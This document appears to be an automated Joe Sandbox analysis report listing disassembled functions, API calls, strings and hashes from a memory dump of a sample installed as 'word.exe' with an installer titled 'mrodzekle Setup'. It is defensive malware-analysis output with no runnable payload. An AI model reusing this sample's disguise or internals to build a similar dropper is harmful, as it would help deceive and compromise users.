Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction ID: c2c7835655fcdbd4aa1197060f7bd229eae72b48ff88aadc8082708ad166979d
Opcode Fuzzy Hash: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction Fuzzy Hash: 9A31AD71C00128BBCF216FA5DE88DAEBA79EF04364F14423AF924762E0C67949418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
SendMessageA.USER32 ref: 00404F18
SendMessageA.USER32 ref: 00404F32
SendMessageA.USER32 ref: 00404F40

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction ID: 29716f0e6f05b21b32fe67f81276caf5577c11483a64657c7043e00463a136c9
Opcode Fuzzy Hash: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction Fuzzy Hash: 21218EB1900118BBDF119FA5DC849DFBFB9FB44354F10807AF904A6290C7789E418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404753 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 0040476E
GetMessagePos.USER32 ref: 00404776
ScreenToClient.USER32(?,?), ref: 00404790
SendMessageA.USER32 ref: 004047A2
SendMessageA.USER32 ref: 004047C8

Strings

f, xrefs: 004047A4

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction ID: b5292072505f589c3e6e61736795eac3e8b5c463abbfbac9e5f2f3c06e421abf
Opcode Fuzzy Hash: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction Fuzzy Hash: BE015275D00219BADB00DB94DC45BFEBBBCAB55715F10412BBB10B71C1C7B465418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B6E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B89
MulDiv.KERNEL32 ref: 00402BB4
wsprintfA.USER32 ref: 00402BC4
SetWindowTextA.USER32(?,?), ref: 00402BD4
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BE6

Strings

verifying installer: %d%%, xrefs: 00402BBE

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction ID: c6984150c403b35497dc18a40ce28a5dc8b104db4e9527dfc76b44ca96ff41d6
Opcode Fuzzy Hash: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction Fuzzy Hash: 5D01FF70A44208BBEB209F60DD49EEE3769FB04345F008039FA06A92D1D7B5AA558F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402A69 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A8A
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AC6
RegCloseKey.ADVAPI32(?), ref: 00402ACF
RegCloseKey.ADVAPI32(?), ref: 00402AF4
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B12

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction ID: fd754328231b90d3809392cacc3778cc58b9849b8c5c25df110c081a09ace752
Opcode Fuzzy Hash: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction Fuzzy Hash: 29116D71A0000AFEDF219F90DE49DAE3B79FB14345B104076FA05A00E0DBB89E51AFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32 ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction ID: 6b5de524c76fb4cd20547a313357388a8ed9b6ad8842e2156e420fd608a0a23d
Opcode Fuzzy Hash: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction Fuzzy Hash: 75F0EC72A04118AFD701EBA4DE88DAFB77CFB44305B14443AF501F6190C7749D019B79

Uniqueness

Uniqueness Score: -1.00%

Function 00404649 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
wsprintfA.USER32 ref: 004046EF
SetDlgItemTextA.USER32(?,00420538), ref: 00404702

Strings

%u.%u%s%s, xrefs: 004046D1

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction ID: 33c490f36d39f428f4b6feb88c055206d8f5fbd89635bf607d329e374d543c8d
Opcode Fuzzy Hash: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction Fuzzy Hash: 5A11D873A0512437EB0065699C41EAF329CDB82335F150637FE26F31D1E9B9DD1145E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32 ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction ID: 8eb34b9659dedbc099cc11ce9bc18cab6bc834bdcc036981f8d30f042af137bc
Opcode Fuzzy Hash: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction Fuzzy Hash: C621A171A44149BEEF02AFF4C94AAEE7B75EF44704F10407EF501BA1D1DAB88A40DB29

Uniqueness

Uniqueness Score: -1.00%

Function 004038B4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,mrodzekle Setup), ref: 0040394C

Strings

1033, xrefs: 004038B8, 004038C2, 00403933
mrodzekle Setup, xrefs: 0040393B
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004038B5

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Roaming\word.exe$mrodzekle Setup
API String ID: 530164218-662814931
Opcode ID: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction ID: 9405f6c8d043b7fcf606726b90d8bdb5e10644d2b1bbff0bcd5da451eaf68503
Opcode Fuzzy Hash: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction Fuzzy Hash: D211CFB1F006119BC7349F15E88093777BDEB89716369817FE801A73E0D67DAE029A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040568B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405691
CharPrevA.USER32(?,00000000), ref: 0040569A
lstrcatA.KERNEL32(?,00409010), ref: 004056AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040568B

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction ID: e5ee9c2d52b027f92723a61f0ff242ac356e57f7af316d882355b101730f0027
Opcode Fuzzy Hash: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction Fuzzy Hash: 05D0A972606A302AE60227158C09F8B3A2CCF02321B040462F540B6292C2BC7D818BEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401F84 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FAF

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FBF
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401FCF
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040203A

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction ID: 27648393275eec621602a0353e8cc2bfbc6c1dadd98057bfccdba155e6fc7477
Opcode Fuzzy Hash: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction Fuzzy Hash: 07215732D04215ABDF216FA48F4DAAE7970AF44354F60423FFA11B22E0CBBC4981D65E

Uniqueness

Uniqueness Score: -1.00%

Function 00402336 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?), ref: 00402374
lstrlenA.KERNEL32(0040A410,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402394
RegSetValueExA.ADVAPI32(?,?,?,?,0040A410,00000000), ref: 004023CD
RegCloseKey.ADVAPI32(?), ref: 004024B0

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction ID: e6eb4e552242eddf296ff96e6d07a7eb6613d299afeb9756830ee7ce8f9eb162
Opcode Fuzzy Hash: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction Fuzzy Hash: 7111A271E00108BFEB10EFA5DE8DEAF7678EB40758F10443AF505B31D0C6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 0040571F Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CharNextA.USER32(004054D1), ref: 0040572D
CharNextA.USER32(00000000), ref: 00405732
CharNextA.USER32(00000000), ref: 00405741

Strings

C:\, xrefs: 00405720

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: df1f57800bc78783e49fb04f649057cff683ac7abc20f7779ba38a9a2f776efc
Instruction ID: 9935135ffb9a6864428372be34cefbf1708860cc48cffe50814e8a96023de109
Opcode Fuzzy Hash: df1f57800bc78783e49fb04f649057cff683ac7abc20f7779ba38a9a2f776efc
Instruction Fuzzy Hash: 99F0A761904B21D6EB2272744C84B6B579CDB55720F180437E100B71D197BC4C82AF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3F
GetDeviceCaps.GDI32(00000000), ref: 00401D46
MulDiv.KERNEL32 ref: 00401D55
CreateFontIndirectA.GDI32(0040B014), ref: 00401DA7

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction ID: 0c2e595a2d755a053b7cc3d6c09569b1e3f8f946256c05fe5e222a6b1ed621d0
Opcode Fuzzy Hash: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction Fuzzy Hash: B0F0C870E48280AFE70157705F0ABAB3F64D715305F100876F251BA2E3C7B910088BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00402C04
GetTickCount.KERNEL32(00000000,00402DD1,00000001), ref: 00402C22
CreateDialogParamA.USER32(0000006F,00000000,00402B6E,00000000), ref: 00402C3F
ShowWindow.USER32(00000000,00000005), ref: 00402C4D

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction ID: 902fecb1894dce430947e24fe85b059bfb73d5b7bbd16117cdf5d745fa908bfb
Opcode Fuzzy Hash: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction Fuzzy Hash: 37F03030A09321ABC611EF60BE4CA9E7B74F748B417118576F201B11A4CB7858818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404DD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E0A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404E78

Part of subcall function 00403EA0: SendMessageA.USER32 ref: 00403EB2

Strings

, xrefs: 00404DE2

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
